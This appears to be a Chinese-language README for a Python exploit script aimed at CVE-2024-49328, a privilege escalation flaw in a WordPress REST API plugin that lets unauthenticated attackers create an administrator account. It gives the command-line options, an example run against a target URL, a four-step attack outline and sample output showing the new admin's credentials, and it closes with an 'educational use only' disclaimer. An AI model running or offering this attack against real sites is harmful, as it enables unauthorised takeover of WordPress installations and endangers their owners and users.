此脚本利用了 WordPress 的 WP REST API FNS 插件中的权限提升漏洞。该漏洞影响 1.0.0 及之前的所有版本,允许未经身份验证的攻击者获取管理员权限。
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site
-e NEWEMAIL, --Newemail NEWEMAIL New email to register
-p PASSWORD, --password PASSWORD Password for the new user
示例命令:
python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123
| 步骤 | 描述 | 图标 |
|---|---|---|
| 步骤 1 | 验证插件的版本。 | 📝 |
| 步骤 2 | 检查该版本是否可利用(1.0.0 或更低版本)。 | ✅ |
| 步骤 3 | 利用漏洞并注册一个新的管理员用户。 | 🔒 |
| 步骤 4 | 输出包含用户凭据的结果以供验证。 | 🎉 |
Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit
pip install requests
🚨 警告:
此脚本仅用于教育目的。未经明确许可,对其他系统使用此脚本属于非法且不道德的行为。